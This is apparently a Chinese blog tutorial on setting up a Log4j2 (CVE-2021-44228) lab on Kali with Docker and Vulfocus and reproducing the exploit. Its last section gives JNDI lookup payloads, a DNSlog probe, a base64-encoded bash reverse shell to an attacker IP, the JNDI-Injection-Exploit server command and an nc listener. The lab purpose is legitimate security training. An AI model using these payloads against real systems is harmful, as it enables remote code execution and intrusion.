KALI搭建log4j2靶场及漏洞复现全流程
LOG4J说明:
1.漏洞利用條件
Java应用引入了log4j-api和log4j-core两个jar包
描述:
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
Lookup 操作:Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源。例如,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j 会尝试通过 JNDI 去指定的 LDAP 服务器获取资源。
Java 的动态类加载机制:Java 的类加载器允许在运行时动态地加载类。当应用程序需要使用某个类时,如果该类尚未被加载到内存中,类加载器会根据类的名称去查找并加载它。这种机制使得 Java 应用程序具有很强的灵活性和扩展性,但也可能带来安全风险。
利用动态类加载执行代码:攻击者可以构造恶意的 JNDI 资源,当 Log4j 尝试通过 JNDI 去获取这个资源时,实际上可能会加载攻击者指定的恶意类。例如,攻击者在 LDAP 服务器上设置一个指向恶意类的链接,当 Log4j 执行lookup操作时,就会从 LDAP 服务器获取到这个恶意类的信息,并通过 Java 的类加载器将其加载到应用程序的内存中。一旦恶意类被加载,它就可以在目标系统上执行任意代码,例如创建新的进程、读取或修改敏感数据、建立反向连接等。
2.漏洞利用原理
当系统使用 log4j 通过 ${} 形式将用户输入的信息打印到日志时,那这就会出现JNDI注入漏洞
这里使用了两台KALI虚拟机,一台用于安装靶场环境,一台用于攻击
一、Docker的安装(靶机)
1、Linux内核版本查看
#安装docker要求内核版本kerner>=3.10
#为此,先检查当前Linux系统的内核版本
uname -a
2、Linux apt源换源教程
#进入sources.lis重新编辑apt源
vim /etc/apt/sources.list
#直接CV大法写入下面的apt源
#其他apt源
#此处仅添加中科达和阿里的,其他注释掉#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib
3、进行系统或工具的更新
#进行系统和工具的更新(比较久,去隔壁玩两把游戏)
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade#清除更新缓存
apt-get clean
4、采用apt安装Docker
#这里采用apt安装,因为之后采用apt源安装Docker的其他组件时,新组件与已安装的Docker容器最为匹配。
apt-get install docker docker-compose#或
apt-get install docker.io
5、检验Docker成功安装
#启动docker服务
service docker start
#列出docker现有镜像
docker images
#运行hello-world镜像
#但apt安装的docker没带有hello-world默认镜像呀,所以下面的命令不成功,它会帮你拉去该镜像下来
docker run hello-world
由于各种网络政策,在国内访问DockerHub速度会非常缓慢,大家一般都会采取更换镜像源的方式来进行加速。
运行时会报错,需要配置docker镜像加速
6、Docker换源教程
2024.6之后,由于政策的加强,大部分常见的镜像源已经无法使用,如下图:
截止2025.4.16,下列镜像源均可用。(基于能否成功拉取hello-world
进行测试)
DockerHub可用镜像源汇总 |
http://docker.m.daocloud.io |
http://docker.imgdb.de |
docker-0.unsee.tech |
http://docker.hlmirror.com |
docker.1ms.run |
func.ink |
http://lispy.org |
http://docker.xiaogenban1993.com |
换源方法1-临时换源
格式如下:(不要加上前缀https://
)
sudo docker pull
+镜像源地址
+/
+要拉取的镜像名
例如:
镜像源为“docker.m.daocloud.io”,要拉取的镜像名为“hello-world”,
sudo docker pull docker.m.daocloud.io/hello-world
成功拉取,如下图:
注意:此方法每次拉取镜像时都需要指定相应的镜像源
换源方法2-永久换源(推荐)
核心思想:修改docker的配置文件 daemon.json
,将镜像源地址写入其中。
以ubuntu22.04为例,其余操作系统同理。
1、创建目录(如果已经有该目录,则忽略此步骤)
sudo mkdir -p /etc/docker
知识点补充:添加“-p”,执行此命令会先检查目录是否存在。若不存在,则创建相应目录;否则,不执行任何操作。因此不管是否有该目录,直接执行此命令都没问题,不会报错。
2、向配置文件写入镜像源
格式如下:(需要加上前缀https://
)
{"registry-mirrors": ["镜像源1","镜像源2"]
}
例如,根据2025.4.16最新测试的可用镜像源,我在此给出命令行和文本编辑器两种操作方法。
下列两种方法均可直接使用,不会报错。
1. 方法一:直接命令行输入
直接将下列文本粘贴到终端中,然后回车运行即可。
sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker-0.unsee.tech","https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
EOF
知识点补充:<<-'EOF'
告诉 shell 接下来的所有内容会被传递到命令 tee
,直到遇到标记 EOF
为止,用于将多行内容作为输入传递给命令。所以不需要担心输入一行之后系统就开始执行命令。 此外,若daemon.json
文件不存在,直接使用tee
命令不会报错,而是会创建名为daemon.json
的文件。
2. 方法二:通过文本编辑器打开daemon.json
,然后粘贴
首先打开配置文件:
sudo nano /etc/docker/daemon.json
然后直接粘贴下列内容:
{"registry-mirrors": ["https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker-0.unsee.tech","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
知识点补充:若daemon.json
文件不存在,直接使用nano
命令不会报错,而是会创建名为daemon.json
的文件。
1、重启docker服务
sudo systemctl daemon-reload && sudo systemctl restart docker
2、验证
sudo docker pull hello-world
出现下图,即为成功!
安装vulfocus镜像
docker pull vulfocus/vulfocus:latest
二、搭建Vulfocus靶场并配置vulfocus漏洞环境(靶机)
1、安装vulfocus镜像
docker pull vulfocus/vulfocus:latest
2、运行vulfocus
docker create -p 8888:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
各个参数的简单解释:
-p :前边的端口代表物理机的端口,后边的端口是docker的端口
-v :/var/run/docker.sock:/var/run/docker.sock为docker交互连接。
-e:
VUL_IP=172.17.0.1 为Docker服务器 IP,不能为 127.0.0.1。
vulfocus/vulfocus是上面的仓库镜像名,也可以用镜像ID。
可以用ifconfig命令来确认当前的docker服务器ip:
接着用这个命令来查看当前docker的所有服务,可以看到我们刚刚起的服务:
docker ps -a
运行vulfocus容器:
docker start 6cbc5770a44e
状态为up,代表成功启动。
由本地的8888端口映射到docker的80端口
最后访问在主机访问虚拟机IP的8888端口即可:
默认账号密码admin/admin
初始账号密码登进来以后,空空的,需要自己添加漏洞环境进来。
3、添加镜像
点击镜像管理模块,直接一键同步,就是官方的所有漏洞环境,反正点这个就好了:
同步之后,刷新页面,就可以看到漏洞环境了,挑选自己喜欢的一个一个下载就好,我这里下载了log4j2环境
也可以点击添加,直接一键导入,这个就很久了,最好在WiFi环境下下载吧,流量多的大佬另当别论哈
启动后会生成一个端口号
在虚拟机IP后加上端口就可以打开靶机了
三、KALI中maven 的安装与配置(攻击机)
1、在另一台kali上下载 maven 安装包(作为攻击机)
wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz
2、解压 apache-maven-3.9.4-bin.tar.gz
tar -zxvf apache-maven-3.9.4-bin.tar.gz
找到文件解压到的位置,由于解压时我们没有指定路径,因此默认解压到当前路径下
可以看到路径为:/root/apache-maven-3.9.4
(看你自己把文件压缩包下载到哪里,在哪里进行解压的)
3、修改配置文件 /etc/profile
vim /etc/profile
在配置文件中加上:
export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解压后所在的位置
export PATH=$MAVEN_HOME/bin:$PATH
4、wq保存退出后,刷新配置文件,以确保修改生效
source /etc/profile
5、检测是否安装成功,查看 maven 版本
mvn -version
6、这里存在一个问题,当我们重启一个终端时,发现 mvn 命令依旧无法识别
使用命令
sudo apt-get install maven
重启客户机
四、Kali安装JAVA8和切换JDK版本
一、安装JDK1.8
1、直接使用下面的地址下载java 1.8:
https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
2、建立目录,将下载的jdk的安装包复制过去并进行解压
sudo mkdir -p /usr/local/java
cp jdk-8u202-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
sudo tar xzvf jdk-8u202-linux-x64.tar.gz
3、配置环境变量(注意下面的版本号要与自己下载的相同)
打开文件/etc/profile
sudo vim /etc/profile
添加下列代码到文件中
JAVA_HOME=/usr/local/java/jdk1.8.0_202PATH=$PATH:$HOME/bin:$JAVA_HOME/binexport JAVA_HOMEexport PATH
4、通知系统Java的位置
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
二、切换JDK版本
update-alternatives --config java
输入编号后按回车键,我这里是3
退出后再进来看看
五、Log4j2远程命令执行(CVE-2021-44228)漏洞复现(攻击机)
1、启动环境
点击问号跳转
发现url会出现变化
schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。
漏洞利用语句如下(替换 schema://url):
${jndi:schema://url}
验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。
DNSLog PlatformDNSLog平台http://dnslog.cn/
输入下面的内容,注意替换你自己获得的域名
${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}
这里注意,进行url编码
Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息
2、JNDI 注入工具安装
首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
注意JNDI工具使用JDK1.8版本
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
换到 JNDI-Injection-Exploit 目录
cd JNDI-Injection-Exploit
编译安装,在该目录下执行如下命令
mvn clean package -DskipTests
编译安装完成后,我们会得到一个 jar 文件
位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
在运行结果的最后是这样:
切换进入到 target 目录:
cd target
3、工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"
4、服务站点部署
反弹 shell 到目标主机端口,大家注意改成自己的IP和端口,这里以 7777 端口为例
bash -i >& /dev/tcp/192.168.217.134/7777 0>&1
对命令进行 base64 编码 (命令必须经过编码,不然无法实现)
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec
得到
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip
利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上
在 target 目录下,执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"
5、开启端口监听
再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)
nc -lvvp 7777
6、反弹shell
使用上述给出的 payload 路径构造完整 payload
比如:
${jndi:rmi://192.168.217.134:1099/lzdfyj}
${jndi:ldap://192.168.217.134:1389/qtbchd}
我们可以针对不同版本和不同情况使用不同的服务和不同的 payload
url编码
成功反弹shell